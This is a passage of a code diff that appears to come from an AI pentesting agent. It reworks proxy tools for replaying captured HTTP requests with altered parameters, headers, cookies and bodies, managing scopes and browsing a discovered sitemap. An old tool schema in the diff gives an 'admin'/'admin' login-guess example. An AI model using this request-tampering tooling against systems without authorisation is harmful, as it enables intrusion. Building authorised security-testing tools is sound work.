+ request_line = lines[0].strip().split(" ")
+ if len(request_line) < 2:
+ raise ValueError("Invalid request line format")
+ method, url_path = request_line[0], request_line[1]
+
+ parsed_headers: dict[str, str] = {}
+ body_start = 0
+ for i, line in enumerate(lines[1:], 1):
+ if line.strip() == "":
+ body_start = i + 1
+ break
+ if ":" in line:
+ key, value = line.split(":", 1)
+ parsed_headers[key.strip()] = value.strip()
+
+ body = "\n".join(lines[body_start:]).strip() if body_start < len(lines) else ""
+ return {"method": method, "url_path": url_path, "headers": parsed_headers, "body": body}
+
+
+def full_url_from_components(
+ original: Any,
+ components: dict[str, Any],
+ modifications: dict[str, Any],
+) -> str:
+ if "url" in modifications:
+ return str(modifications["url"])
+ headers = components["headers"]
+ host_header = headers.get("Host") or original.host
+ scheme = "https" if original.is_tls else "http"
+ return f"{scheme}://{host_header}{components['url_path']}"
+
+
+def apply_modifications(
+ components: dict[str, Any],
+ modifications: dict[str, Any],
+ full_url: str,
+) -> dict[str, Any]:
+ headers = dict(components["headers"])
+ body = components["body"]
+ final_url = full_url
+
+ if "params" in modifications:
+ parsed = urlparse(final_url)
+ existing = {k: v[0] if v else "" for k, v in parse_qs(parsed.query).items()}
+ existing.update(modifications["params"])
+ final_url = urlunparse(parsed._replace(query=urlencode(existing)))
+ if "headers" in modifications:
+ headers.update(modifications["headers"])
+ if "body" in modifications:
+ body = modifications["body"]
+ if "cookies" in modifications:
+ cookies: dict[str, str] = {}
+ if headers.get("Cookie"):
+ for cookie in headers["Cookie"].split(";"):
+ if "=" in cookie:
+ k, v = cookie.split("=", 1)
+ cookies[k.strip()] = v.strip()
+ cookies.update(modifications["cookies"])
+ headers["Cookie"] = "; ".join(f"{k}={v}" for k, v in cookies.items())
+
+ return {
+ "method": components["method"],
+ "url": final_url,
+ "headers": headers,
+ "body": body,
+ }
+
+
+_REPLAY_SEND_TIMEOUT_SECONDS = 30.0
+
+
+async def replay_send_raw(
+ client: CaidoClient,
+ *,
+ raw: bytes,
+ connection: ConnectionInfoInput,
+) -> dict[str, Any]:
+ started = time.time()
+ # Create an empty replay session, then dispatch via ``send()``.
+ # Passing ``CreateReplaySessionFromRaw`` here would also seed a stored
+ # entry on the server side, leading the caller to observe two history
+ # rows per call (one without response from the create-step seed, one
+ # with response from the actual send). The empty-create + send flow
+ # produces exactly one dispatched request.
+ session = await client.replay.sessions.create()
+ try:
+ result = await asyncio.wait_for(
+ client.replay.send(
+ session.id,
+ ReplaySendOptions(raw=raw, connection=connection),
+ ),
+ timeout=_REPLAY_SEND_TIMEOUT_SECONDS,
+ )
+ except TimeoutError:
+ elapsed_ms = int((time.time() - started) * 1000)
+ return {
+ "session_id": str(session.id),
+ "status": "ERROR",
+ "error": (
+ f"Caido replay dispatch did not complete within "
+ f"{_REPLAY_SEND_TIMEOUT_SECONDS:.0f}s — the target may be "
+ "unroutable from the sandbox, or Caido's outbound HTTP client "
+ "is stalled; check the target host/port and retry"
+ ),
+ "elapsed_ms": elapsed_ms,
+ "response_raw": None,
+ }
+ elapsed_ms = int((time.time() - started) * 1000)
+ response = getattr(result.entry, "response", None)
+ response_raw = getattr(response, "raw", None) if response is not None else None
+ return {
+ "session_id": str(session.id),
+ "status": result.status,
+ "error": result.error,
+ "elapsed_ms": elapsed_ms,
+ "response_raw": response_raw,
+ }
+
+
+async def scope_list(client: CaidoClient) -> Any:
+ return await client.scope.list()
+
+
+async def scope_get(client: CaidoClient, scope_id: str) -> Any:
+ return await client.scope.get(scope_id)
+
+
+async def scope_create(
+ client: CaidoClient,
+ *,
+ name: str,
+ allowlist: list[str] | None = None,
+ denylist: list[str] | None = None,
+) -> Any:
+ return await client.scope.create(
+ CreateScopeOptions(
+ name=name,
+ allowlist=list(allowlist or []),
+ denylist=list(denylist or []),
+ ),
+ )
+
+
+async def scope_update(
+ client: CaidoClient,
+ scope_id: str,
+ *,
+ name: str,
+ allowlist: list[str] | None = None,
+ denylist: list[str] | None = None,
+) -> Any:
+ return await client.scope.update(
+ scope_id,
+ UpdateScopeOptions(
+ name=name,
+ allowlist=list(allowlist or []),
+ denylist=list(denylist or []),
+ ),
+ )
+
+
+async def scope_delete(client: CaidoClient, scope_id: str) -> None:
+ await client.scope.delete(scope_id)
+
+
+async def list_requests(
+ *,
+ httpql_filter: str | None = None,
+ first: int = 50,
+ after: str | None = None,
+ sort_by: SortBy = "timestamp",
+ sort_order: SortOrder = "desc",
+ scope_id: str | None = None,
+) -> Any:
+ return await list_requests_with_client(
+ await get_client(),
+ httpql_filter=httpql_filter,
+ first=first,
+ after=after,
+ sort_by=sort_by,
+ sort_order=sort_order,
+ scope_id=scope_id,
+ )
+
+
+async def view_request(request_id: str, *, part: RequestPart = "request") -> Any:
+ return await get_request_with_client(await get_client(), request_id, part=part)
+
+
+async def repeat_request(
+ request_id: str,
+ *,
+ modifications: dict[str, Any] | None = None,
+) -> dict[str, Any]:
+ mods = modifications or {}
+ result = await get_request_with_client(await get_client(), request_id, part="request")
+ if result is None or result.request.raw is None:
+ raise ValueError(f"Request {request_id} not found")
+
+ original = result.request
+ raw_str = result.request.raw.decode("utf-8", errors="replace")
+ components = parse_raw_request(raw_str)
+ full_url = full_url_from_components(original, components, mods)
+ modified = apply_modifications(components, mods, full_url)
+ connection, raw = build_raw_request(
+ method=modified["method"],
+ url=modified["url"],
+ headers=modified["headers"],
+ body=modified["body"],
+ )
+ return await replay_send_raw(await get_client(), raw=raw, connection=connection)
+
+
+async def scope_rules(
+ action: ScopeAction,
+ *,
+ allowlist: list[str] | None = None,
+ denylist: list[str] | None = None,
+ scope_id: str | None = None,
+ scope_name: str | None = None,
+) -> Any:
+ client = await get_client()
+ if action == "list":
+ result = await scope_list(client)
+ elif action == "get":
+ if not scope_id:
+ raise ValueError("scope_id required for get")
+ result = await scope_get(client, scope_id)
+ elif action == "create":
+ if not scope_name:
+ raise ValueError("scope_name required for create")
+ result = await scope_create(
+ client,
+ name=scope_name,
+ allowlist=allowlist,
+ denylist=denylist,
+ )
+ elif action == "update":
+ if not scope_id or not scope_name:
+ raise ValueError("scope_id and scope_name required for update")
+ result = await scope_update(
+ client,
+ scope_id,
+ name=scope_name,
+ allowlist=allowlist,
+ denylist=denylist,
+ )
+ elif action == "delete":
+ if not scope_id:
+ raise ValueError("scope_id required for delete")
+ await scope_delete(client, scope_id)
+ result = {"deleted": scope_id}
+ else:
+ raise ValueError(f"Unknown action: {action}")
+ return result
+
+
+_SITEMAP_ROOTS_QUERY = """
+query GetSitemapRoots($scopeId: ID) {
+ sitemapRootEntries(scopeId: $scopeId) {
+ edges { node {
+ id kind label hasDescendants
+ metadata { ... on SitemapEntryMetadataDomain { isTls port } }
+ request { method path response { statusCode } }
+ } }
+ count { value }
+ }
+}
+"""
+
+_SITEMAP_DESCENDANTS_QUERY = """
+query GetSitemapDescendants($parentId: ID!, $depth: SitemapDescendantsDepth!) {
+ sitemapDescendantEntries(parentId: $parentId, depth: $depth) {
+ edges { node {
+ id kind label hasDescendants
+ request { method path response { statusCode } }
+ } }
+ count { value }
+ }
+}
+"""
+
+_SITEMAP_ENTRY_QUERY = """
+query GetSitemapEntry($id: ID!) {
+ sitemapEntry(id: $id) {
+ id kind label hasDescendants
+ metadata { ... on SitemapEntryMetadataDomain { isTls port } }
+ request { method path response { statusCode length roundtripTime } }
+ requests(first: 30, order: {by: CREATED_AT, ordering: DESC}) {
+ edges { node { method path response { statusCode length } } }
+ count { value }
+ }
+ }
+}
+"""
+
+
+def _clean_sitemap_metadata(node: dict[str, Any]) -> dict[str, Any]:
+ cleaned: dict[str, Any] = {
+ "id": node["id"],
+ "kind": node["kind"],
+ "label": node["label"],
+ "has_descendants": node["hasDescendants"],
+ }
+ meta = node.get("metadata")
+ if isinstance(meta, dict) and (meta.get("isTls") is not None or meta.get("port")):
+ meta_out: dict[str, Any] = {}
+ if meta.get("isTls") is not None:
+ meta_out["is_tls"] = meta["isTls"]
+ if meta.get("port"):
+ meta_out["port"] = meta["port"]
+ cleaned["metadata"] = meta_out
+ return cleaned
+
+
+def _clean_sitemap_request_summary(req: dict[str, Any] | None) -> dict[str, Any] | None:
+ """Same field names as ``list_requests`` emits for a request_summary."""
+ if not req:
+ return None
+ out: dict[str, Any] = {}
+ if req.get("method"):
+ out["method"] = req["method"]
+ if req.get("path"):
+ out["path"] = req["path"]
+ resp = req.get("response") or {}
+ if resp.get("statusCode"):
+ out["status_code"] = resp["statusCode"]
+ return out or None
+
+
+def _clean_sitemap_response(resp: dict[str, Any]) -> dict[str, Any]:
+ """Same field names as ``list_requests`` emits for a response_summary."""
+ out: dict[str, Any] = {}
+ if resp.get("statusCode"):
+ out["status_code"] = resp["statusCode"]
+ if resp.get("length"):
+ out["length"] = resp["length"]
+ if resp.get("roundtripTime"):
+ out["roundtrip_ms"] = resp["roundtripTime"]
+ return out
+
+
+async def list_sitemap_with_client(
+ client: CaidoClient,
+ *,
+ scope_id: str | None = None,
+ parent_id: str | None = None,
+ depth: SitemapDepth = "DIRECT",
+ page: int = 1,
+ page_size: int = _SITEMAP_PAGE_SIZE,
+) -> dict[str, Any]:
+ """Browse Caido's discovered sitemap.
+
+ The Caido GraphQL ``sitemap*Entries`` operations don't support native
+ pagination, so we fetch all edges for the requested level and slice
+ client-side.
+ """
+ if parent_id:
+ raw = await client.graphql.query(
+ _SITEMAP_DESCENDANTS_QUERY,
+ variables={"parentId": parent_id, "depth": depth},
+ )
+ data = raw.get("sitemapDescendantEntries") or {}
+ else:
+ raw = await client.graphql.query(
+ _SITEMAP_ROOTS_QUERY,
+ variables={"scopeId": scope_id},
+ )
+ data = raw.get("sitemapRootEntries") or {}
+
+ edges = data.get("edges") or []
+ total = (data.get("count") or {}).get("value", 0)
+ skip = max(0, (page - 1) * page_size)
+ sliced = [edge["node"] for edge in edges[skip : skip + page_size]]
+
+ cleaned: list[dict[str, Any]] = []
+ for node in sliced:
+ entry = _clean_sitemap_metadata(node)
+ summary = _clean_sitemap_request_summary(node.get("request"))
+ if summary:
+ entry["request"] = summary
+ cleaned.append(entry)
+
+ total_pages = (total + page_size - 1) // page_size if total else 0
+ return {
+ "success": True,
+ "entries": cleaned,
+ "page": page,
+ "page_size": page_size,
+ "total_pages": total_pages,
+ "total_count": total,
+ "has_more": page < total_pages,
+ }
+
+
+async def view_sitemap_entry_with_client(
+ client: CaidoClient,
+ entry_id: str,
+) -> dict[str, Any]:
+ raw = await client.graphql.query(_SITEMAP_ENTRY_QUERY, variables={"id": entry_id})
+ entry = raw.get("sitemapEntry")
+ if not entry:
+ return {"success": False, "error": f"Sitemap entry {entry_id} not found"}
+
+ cleaned = _clean_sitemap_metadata(entry)
+ primary = entry.get("request") or {}
+ if primary:
+ primary_clean: dict[str, Any] = {}
+ if primary.get("method"):
+ primary_clean["method"] = primary["method"]
+ if primary.get("path"):
+ primary_clean["path"] = primary["path"]
+ if primary.get("response"):
+ primary_clean["response"] = _clean_sitemap_response(primary["response"])
+ if primary_clean:
+ cleaned["request"] = primary_clean
+
+ related = entry.get("requests") or {}
+ related_edges = related.get("edges") or []
+ related_nodes = [edge["node"] for edge in related_edges]
+ related_clean = [
+ summary
+ for summary in (_clean_sitemap_request_summary(n) for n in related_nodes)
+ if summary is not None
+ ]
+ cleaned["related_requests"] = {
+ "requests": related_clean,
+ "total_count": (related.get("count") or {}).get("value", 0),
+ }
+ return {"success": True, "entry": cleaned}
+
+
+async def list_sitemap(
+ *,
+ scope_id: str | None = None,
+ parent_id: str | None = None,
+ depth: SitemapDepth = "DIRECT",
+ page: int = 1,
+ page_size: int = _SITEMAP_PAGE_SIZE,
+) -> dict[str, Any]:
+ return await list_sitemap_with_client(
+ await get_client(),
+ scope_id=scope_id,
+ parent_id=parent_id,
+ depth=depth,
+ page=page,
+ page_size=page_size,
+ )
+
+
+async def view_sitemap_entry(entry_id: str) -> dict[str, Any]:
+ return await view_sitemap_entry_with_client(await get_client(), entry_id)
+
+
+__all__ = [
+ "RequestPart",
+ "ScopeAction",
+ "SitemapDepth",
+ "SortBy",
+ "SortOrder",
+ "close_client",
+ "get_client",
+ "list_requests",
+ "list_sitemap",
+ "repeat_request",
+ "scope_rules",
+ "view_request",
+ "view_sitemap_entry",
+]
diff --git a/strix/tools/proxy/proxy_actions.py b/strix/tools/proxy/proxy_actions.py
deleted file mode 100644
index 1779c22fc..000000000
--- a/strix/tools/proxy/proxy_actions.py
+++ /dev/null
@@ -1,101 +0,0 @@
-from typing import Any, Literal
-
-from strix.tools.registry import register_tool
-
-from .proxy_manager import get_proxy_manager
-
-
-RequestPart = Literal["request", "response"]
-
-
-@register_tool
-def list_requests(
- httpql_filter: str | None = None,
- start_page: int = 1,
- end_page: int = 1,
- page_size: int = 50,
- sort_by: Literal[
- "timestamp",
- "host",
- "method",
- "path",
- "status_code",
- "response_time",
- "response_size",
- "source",
- ] = "timestamp",
- sort_order: Literal["asc", "desc"] = "desc",
- scope_id: str | None = None,
-) -> dict[str, Any]:
- manager = get_proxy_manager()
- return manager.list_requests(
- httpql_filter, start_page, end_page, page_size, sort_by, sort_order, scope_id
- )
-
-
-@register_tool
-def view_request(
- request_id: str,
- part: RequestPart = "request",
- search_pattern: str | None = None,
- page: int = 1,
- page_size: int = 50,
-) -> dict[str, Any]:
- manager = get_proxy_manager()
- return manager.view_request(request_id, part, search_pattern, page, page_size)
-
-
-@register_tool
-def send_request(
- method: str,
- url: str,
- headers: dict[str, str] | None = None,
- body: str = "",
- timeout: int = 30,
-) -> dict[str, Any]:
- if headers is None:
- headers = {}
- manager = get_proxy_manager()
- return manager.send_simple_request(method, url, headers, body, timeout)
-
-
-@register_tool
-def repeat_request(
- request_id: str,
- modifications: dict[str, Any] | None = None,
-) -> dict[str, Any]:
- if modifications is None:
- modifications = {}
- manager = get_proxy_manager()
- return manager.repeat_request(request_id, modifications)
-
-
-@register_tool
-def scope_rules(
- action: Literal["get", "list", "create", "update", "delete"],
- allowlist: list[str] | None = None,
- denylist: list[str] | None = None,
- scope_id: str | None = None,
- scope_name: str | None = None,
-) -> dict[str, Any]:
- manager = get_proxy_manager()
- return manager.scope_rules(action, allowlist, denylist, scope_id, scope_name)
-
-
-@register_tool
-def list_sitemap(
- scope_id: str | None = None,
- parent_id: str | None = None,
- depth: Literal["DIRECT", "ALL"] = "DIRECT",
- page: int = 1,
-) -> dict[str, Any]:
- manager = get_proxy_manager()
- return manager.list_sitemap(scope_id, parent_id, depth, page)
-
-
-@register_tool
-def view_sitemap_entry(
- entry_id: str,
-) -> dict[str, Any]:
- manager = get_proxy_manager()
- return manager.view_sitemap_entry(entry_id)
diff --git a/strix/tools/proxy/proxy_actions_schema.xml b/strix/tools/proxy/proxy_actions_schema.xml
deleted file mode 100644
index 5b6d5b4d9..000000000
--- a/strix/tools/proxy/proxy_actions_schema.xml
+++ /dev/null
@@ -1,267 +0,0 @@
-
-
-
- List and filter proxy requests using HTTPQL with pagination.
-
-
- HTTPQL filter using Caido's syntax:
-
- Integer fields (port, code, roundtrip, id) - eq, gt, gte, lt, lte, ne:
- - resp.code.eq:200, resp.code.gte:400, req.port.eq:443
-
- Text/byte fields (ext, host, method, path, query, raw) - regex:
- - req.method.regex:"POST", req.path.regex:"/api/.*", req.host.regex:".*.com"
-
- Date fields (created_at) - gt, lt with ISO formats:
- - req.created_at.gt:"2024-01-01T00:00:00Z"
-
- Special: source:intercept, preset:"name"
-
-
- Starting page (1-based)
-
-
- Ending page (1-based, inclusive)
-
-
- Requests per page
-
-
- Sort field from: "timestamp", "host", "status_code", "response_time", "response_size"
-
-
- Sort direction ("asc" or "desc")
-
-
- Scope ID to filter requests (use scope_rules to manage scopes)
-
-
-
- Response containing:
- - 'requests': Request objects for page range
- - 'total_count': Total matching requests
- - 'start_page', 'end_page', 'page_size': Query parameters
- - 'returned_count': Requests in response
-
-
- # POST requests to API with 200 responses
-
- req.method.eq:"POST" AND req.path.cont:"/api/"
- response_time
- scope123
-
-
- # Requests within specific scope
-
- scope123
- timestamp
-
-
-
-
-
- View request/response data with search and pagination.
-
-
- Request ID
-
-
- Which part to return ("request" or "response")
-
-
- Regex pattern to search content. Common patterns:
- - API endpoints: r"/api/[a-zA-Z0-9._/-]+"
- - URLs: r"https?://[^\\s<>"\']+"
- - Parameters: r'[?&][a-zA-Z0-9_]+=([^&\\s<>"\']+)'
- - Reflections: input_value in content
-
-
- Page number for pagination
-
-
- Lines per page
-
-
-
- With search_pattern (COMPACT):
- - 'matches': [{match, before, after, position}] - max 20
- - 'total_matches': Total found
- - 'truncated': If limited to 20
-
- Without search_pattern (PAGINATION):
- - 'content': Page content
- - 'page': Current page
- - 'showing_lines': Range display
- - 'has_more': More pages available
-
-
- # Find API endpoints in response
-
- 123
- response
- /api/[a-zA-Z0-9._/-]+
-
-
-
-
-
- Send a simple HTTP request through proxy.
-
-
- HTTP method (GET, POST, etc.)
-
-
- Target URL
-
-
- Headers as {"key": "value"}
-
-
- Request body
-
-
- Request timeout
-
-
-
-
-
- Repeat an existing proxy request with modifications for pentesting.
-
- PROPER WORKFLOW:
- 1. Use browser_action to browse the target application
- 2. Use list_requests() to see captured proxy traffic
- 3. Use repeat_request() to modify and test specific requests
-
- This mirrors real pentesting: browse → capture → modify → test
-
-
- ID of the original request to repeat (from list_requests)
-
-
- Changes to apply to the original request:
- - "url": New URL or modify existing one
- - "params": Dict to update query parameters
- - "headers": Dict to add/update headers
- - "body": New request body (replaces original)
- - "cookies": Dict to add/update cookies
-
-
-
- Response data with status, headers, body, timing, and request details
-
-
- # Modify POST body payload
-
- req_789
- {"body": "{\"username\":\"admin\",\"password\":\"admin\"}"}
-
-
-
-
-
- Manage proxy scope patterns for domain/file filtering using Caido's scope system.
-
-
- Scope action:
- - get: Get specific scope by ID or list all if no ID
- - update: Update existing scope (requires scope_id and scope_name)
- - list: List all available scopes
- - create: Create new scope (requires scope_name)
- - delete: Delete scope (requires scope_id)
-
-
- Domain patterns to include. Examples: ["*.example.com", "api.test.com"]
-
-
- Patterns to exclude. Some common extensions:
- ["*.gif", "*.jpg", "*.png", "*.css", "*.js", "*.ico", "*.svg", "*woff*", "*.ttf"]
-
-
- Specific scope ID to operate on (required for get, update, delete)
-
-
- Name for scope (required for create, update)
-
-
-
- Depending on action:
- - get: Single scope object or error
- - list: {"scopes": [...], "count": N}
- - create/update: {"scope": {...}, "message": "..."}
- - delete: {"message": "...", "deletedId": "..."}
-
-
- - Empty allowlist = allow all domains
- - Denylist overrides allowlist
- - Glob patterns: * (any), ? (single), [abc] (one of), [a-z] (range), [^abc] (none of)
- - Each scope has unique ID and can be used with list_requests(scopeId=...)
-
-
- # Create API-only scope
-
- create
- API Testing
- ["api.example.com", "*.api.com"]
- ["*.gif", "*.jpg", "*.png", "*.css", "*.js"]
-
-
-
-
-
- View hierarchical sitemap of discovered attack surface from proxied traffic.
-
- Perfect for bug hunters to understand the application structure and identify
- interesting endpoints, directories, and entry points discovered during testing.
-
-
- Scope ID to filter sitemap entries (use scope_rules to get/create scope IDs)
-
-
- ID of parent entry to expand. If None, returns root domains.
-
-
- DIRECT: Only immediate children. ALL: All descendants recursively.
-
-
- Page number for pagination (30 entries per page)
-
-
-
- Response containing:
- - 'entries': List of cleaned sitemap entries
- - 'page', 'total_pages', 'total_count': Pagination info
- - 'has_more': Whether more pages available
- - Each entry: id, kind, label, hasDescendants, request (method/path/status only)
-
-
- Entry kinds:
- - DOMAIN: Root domains (example.com)
- - DIRECTORY: Path directories (/api/, /admin/)
- - REQUEST: Individual endpoints
- - REQUEST_BODY: POST/PUT body variations
- - REQUEST_QUERY: GET parameter variations
-
- Check hasDescendants=true to identify entries worth expanding.
- Use parent_id from any entry to drill down into subdirectories.
-
-
-
-
- Get detailed information about a specific sitemap entry and related requests.
-
- Perfect for understanding what's been discovered under a specific directory
- or endpoint, including all related requests and response codes.
-
-
- ID of the sitemap entry to examine
-
-
-
- Response containing:
- - 'entry': Complete entry details including metadata
- - Entry contains 'requests' with all related HTTP requests
- - Shows request methods, paths, response codes, timing
-
-
-
diff --git a/strix/tools/proxy/proxy_manager.py b/strix/tools/proxy/proxy_manager.py
deleted file mode 100644
index e02d85b7d..000000000
--- a/strix/tools/proxy/proxy_manager.py
+++ /dev/null
@@ -1,785 +0,0 @@
-import base64
-import os
-import re
-import time
-from typing import TYPE_CHECKING, Any
-from urllib.parse import parse_qs, urlencode, urlparse, urlunparse
-
-import requests
-from gql import Client, gql
-from gql.transport.exceptions import TransportQueryError
-from gql.transport.requests import RequestsHTTPTransport
-from requests.exceptions import ProxyError, RequestException, Timeout
-
-
-if TYPE_CHECKING:
- from collections.abc import Callable
-
-
-class ProxyManager:
- def __init__(self, auth_token: str | None = None):
- host = "127.0.0.1"
- port = os.getenv("CAIDO_PORT", "56789")
- self.base_url = f"http://{host}:{port}/graphql"
- self.proxies = {"http": f"http://{host}:{port}", "https": f"http://{host}:{port}"}
- self.auth_token = auth_token or os.getenv("CAIDO_API_TOKEN")
- self.transport = RequestsHTTPTransport(
- url=self.base_url, headers={"Authorization": f"Bearer {self.auth_token}"}
- )
- self.client = Client(transport=self.transport, fetch_schema_from_transport=False)
-
- def list_requests(
- self,
- httpql_filter: str | None = None,
- start_page: int = 1,
- end_page: int = 1,
- page_size: int = 50,
- sort_by: str = "timestamp",
- sort_order: str = "desc",
- scope_id: str | None = None,
- ) -> dict[str, Any]:
- offset = (start_page - 1) * page_size
- limit = (end_page - start_page + 1) * page_size
-
- sort_mapping = {
- "timestamp": "CREATED_AT",
- "host": "HOST",
- "method": "METHOD",
- "path": "PATH",
- "status_code": "RESP_STATUS_CODE",
- "response_time": "RESP_ROUNDTRIP_TIME",
- "response_size": "RESP_LENGTH",
- "source": "SOURCE",
- }
-
- query = gql("""
- query GetRequests(
- $limit: Int, $offset: Int, $filter: HTTPQL,
- $order: RequestResponseOrderInput, $scopeId: ID
- ) {
- requestsByOffset(
- limit: $limit, offset: $offset, filter: $filter,
- order: $order, scopeId: $scopeId
- ) {
- edges {
- node {
- id method host path query createdAt length isTls port
- source alteration fileExtension
- response { id statusCode length roundtripTime createdAt }
- }
- }
- count { value }
- }
- }
- """)
-
- variables = {
- "limit": limit,
- "offset": offset,
- "filter": httpql_filter,
- "order": {
- "by": sort_mapping.get(sort_by, "CREATED_AT"),
- "ordering": sort_order.upper(),
- },
- "scopeId": scope_id,
- }
-
- try:
- result = self.client.execute(query, variable_values=variables)
- data = result.get("requestsByOffset", {})
- nodes = [edge["node"] for edge in data.get("edges", [])]
-
- count_data = data.get("count") or {}
- return {
- "requests": nodes,
- "total_count": count_data.get("value", 0),
- "start_page": start_page,
- "end_page": end_page,
- "page_size": page_size,
- "offset": offset,
- "returned_count": len(nodes),
- "sort_by": sort_by,
- "sort_order": sort_order,
- }
- except (TransportQueryError, ValueError, KeyError) as e:
- return {"requests": [], "total_count": 0, "error": f"Error fetching requests: {e}"}
-
- def view_request(
- self,
- request_id: str,
- part: str = "request",
- search_pattern: str | None = None,
- page: int = 1,
- page_size: int = 50,
- ) -> dict[str, Any]:
- queries = {
- "request": """query GetRequest($id: ID!) {
- request(id: $id) {
- id method host path query createdAt length isTls port
- source alteration edited raw
- }
- }""",
- "response": """query GetRequest($id: ID!) {
- request(id: $id) {
- id response {
- id statusCode length roundtripTime createdAt raw
- }
- }
- }""",
- }
-
- if part not in queries:
- return {"error": f"Invalid part '{part}'. Use 'request' or 'response'"}
-
- try:
- result = self.client.execute(gql(queries[part]), variable_values={"id": request_id})
- request_data = result.get("request", {})
-
- if not request_data:
- return {"error": f"Request {request_id} not found"}
-
- if part == "request":
- raw_content = request_data.get("raw")
- else:
- response_data = request_data.get("response") or {}
- raw_content = response_data.get("raw")
-
- if not raw_content:
- return {"error": "No content available"}
-
- content = base64.b64decode(raw_content).decode("utf-8", errors="replace")
-
- if part == "response":
- request_data["response"]["raw"] = content
- else:
- request_data["raw"] = content
-
- return (
- self._search_content(request_data, content, search_pattern)
- if search_pattern
- else self._paginate_content(request_data, content, page, page_size)
- )
-
- except (TransportQueryError, ValueError, KeyError, UnicodeDecodeError) as e:
- return {"error": f"Failed to view request: {e}"}
-
- def _search_content(
- self, request_data: dict[str, Any], content: str, pattern: str
- ) -> dict[str, Any]:
- try:
- regex = re.compile(pattern, re.IGNORECASE | re.MULTILINE | re.DOTALL)
- matches = []
-
- for match in regex.finditer(content):
- start, end = match.start(), match.end()
- context_size = 120
-
- before = re.sub(r"\s+", " ", content[max(0, start - context_size) : start].strip())[
- -100:
- ]
- after = re.sub(r"\s+", " ", content[end : end + context_size].strip())[:100]
-
- matches.append(
- {"match": match.group(), "before": before, "after": after, "position": start}
- )
-
- if len(matches) >= 20:
- break
-
- return {
- "id": request_data.get("id"),
- "matches": matches,
- "total_matches": len(matches),
- "search_pattern": pattern,
- "truncated": len(matches) >= 20,
- }
- except re.error as e:
- return {"error": f"Invalid regex: {e}"}
-
- def _paginate_content(
- self, request_data: dict[str, Any], content: str, page: int, page_size: int
- ) -> dict[str, Any]:
- display_lines = []
- for line in content.split("\n"):
- if len(line) <= 80:
- display_lines.append(line)
- else:
- display_lines.extend(
- [
- line[i : i + 80] + (" \\" if i + 80 < len(line) else "")
- for i in range(0, len(line), 80)
- ]
- )
-
- total_lines = len(display_lines)
- total_pages = (total_lines + page_size - 1) // page_size
- page = max(1, min(page, total_pages))
-
- start_line = (page - 1) * page_size
- end_line = min(total_lines, start_line + page_size)
-
- return {
- "id": request_data.get("id"),
- "content": "\n".join(display_lines[start_line:end_line]),
- "page": page,
- "total_pages": total_pages,
- "showing_lines": f"{start_line + 1}-{end_line} of {total_lines}",
- "has_more": page < total_pages,
- }
-
- def send_simple_request(
- self,
- method: str,
- url: str,
- headers: dict[str, str] | None = None,
- body: str = "",
- timeout: int = 30,
- ) -> dict[str, Any]:
- if headers is None:
- headers = {}
- try:
- start_time = time.time()
- response = requests.request(
- method=method,
- url=url,
- headers=headers,
- data=body or None,
- proxies=self.proxies,
- timeout=timeout,
- verify=False,
- )
- response_time = int((time.time() - start_time) * 1000)
-
- body_content = response.text
- if len(body_content) > 10000:
- body_content = body_content[:10000] + "\n... [truncated]"
-
- return {
- "status_code": response.status_code,
- "headers": dict(response.headers),
- "body": body_content,
- "response_time_ms": response_time,
- "url": response.url,
- "message": (
- "Request sent through proxy - check list_requests() for captured traffic"
- ),
- }
- except (RequestException, ProxyError, Timeout) as e:
- return {"error": f"Request failed: {type(e).__name__}", "details": str(e), "url": url}
-
- def repeat_request(
- self, request_id: str, modifications: dict[str, Any] | None = None
- ) -> dict[str, Any]:
- if modifications is None:
- modifications = {}
-
- original = self.view_request(request_id, "request")
- if "error" in original:
- return {"error": f"Could not retrieve original request: {original['error']}"}
-
- raw_content = original.get("content", "")
- if not raw_content:
- return {"error": "No raw request content found"}
-
- request_components = self._parse_http_request(raw_content)
- if "error" in request_components:
- return request_components
-
- full_url = self._build_full_url(request_components, modifications)
- if "error" in full_url:
- return full_url
-
- modified_request = self._apply_modifications(
- request_components, modifications, full_url["url"]
- )
-
- return self._send_modified_request(modified_request, request_id, modifications)
-
- def _parse_http_request(self, raw_content: str) -> dict[str, Any]:
- lines = raw_content.split("\n")
- request_line = lines[0].strip().split(" ")
- if len(request_line) < 2:
- return {"error": "Invalid request line format"}
-
- method, url_path = request_line[0], request_line[1]
-
- headers = {}
- body_start = 0
- for i, line in enumerate(lines[1:], 1):
- if line.strip() == "":
- body_start = i + 1
- break
- if ":" in line:
- key, value = line.split(":", 1)
- headers[key.strip()] = value.strip()
-
- body = "\n".join(lines[body_start:]).strip() if body_start < len(lines) else ""
-
- return {"method": method, "url_path": url_path, "headers": headers, "body": body}
-
- def _build_full_url(
- self, components: dict[str, Any], modifications: dict[str, Any]
- ) -> dict[str, Any]:
- headers = components["headers"]
- host = headers.get("Host", "")
- if not host:
- return {"error": "No Host header found"}
-
- protocol = (
- "https" if ":443" in host or "https" in headers.get("Referer", "").lower() else "http"
- )
- full_url = f"{protocol}://{host}{components['url_path']}"
-
- if "url" in modifications:
- full_url = modifications["url"]
-
- return {"url": full_url}
-
- def _apply_modifications(
- self, components: dict[str, Any], modifications: dict[str, Any], full_url: str
- ) -> dict[str, Any]:
- headers = components["headers"].copy()
- body = components["body"]
- final_url = full_url
-
- if "params" in modifications:
- parsed = urlparse(final_url)
- params = {k: v[0] if v else "" for k, v in parse_qs(parsed.query).items()}
- params.update(modifications["params"])
- final_url = urlunparse(parsed._replace(query=urlencode(params)))
-
- if "headers" in modifications:
- headers.update(modifications["headers"])
-
- if "body" in modifications:
- body = modifications["body"]
-
- if "cookies" in modifications:
- cookies = {}
- if headers.get("Cookie"):
- for cookie in headers["Cookie"].split(";"):
- if "=" in cookie:
- k, v = cookie.split("=", 1)
- cookies[k.strip()] = v.strip()
- cookies.update(modifications["cookies"])
- headers["Cookie"] = "; ".join([f"{k}={v}" for k, v in cookies.items()])
-
- return {
- "method": components["method"],
- "url": final_url,
- "headers": headers,
- "body": body,
- }
-
- def _send_modified_request(
- self, request_data: dict[str, Any], request_id: str, modifications: dict[str, Any]
- ) -> dict[str, Any]:
- try:
- start_time = time.time()
- response = requests.request(
- method=request_data["method"],
- url=request_data["url"],
- headers=request_data["headers"],
- data=request_data["body"] or None,
- proxies=self.proxies,
- timeout=30,
- verify=False,
- )
- response_time = int((time.time() - start_time) * 1000)
-
- response_body = response.text
- truncated = len(response_body) > 10000
- if truncated:
- response_body = response_body[:10000] + "\n... [truncated]"
-
- return {
- "status_code": response.status_code,
- "status_text": response.reason,
- "headers": {
- k: v
- for k, v in response.headers.items()
- if k.lower()
- in ["content-type", "content-length", "server", "set-cookie", "location"]
- },
- "body": response_body,
- "body_truncated": truncated,
- "body_size": len(response.content),
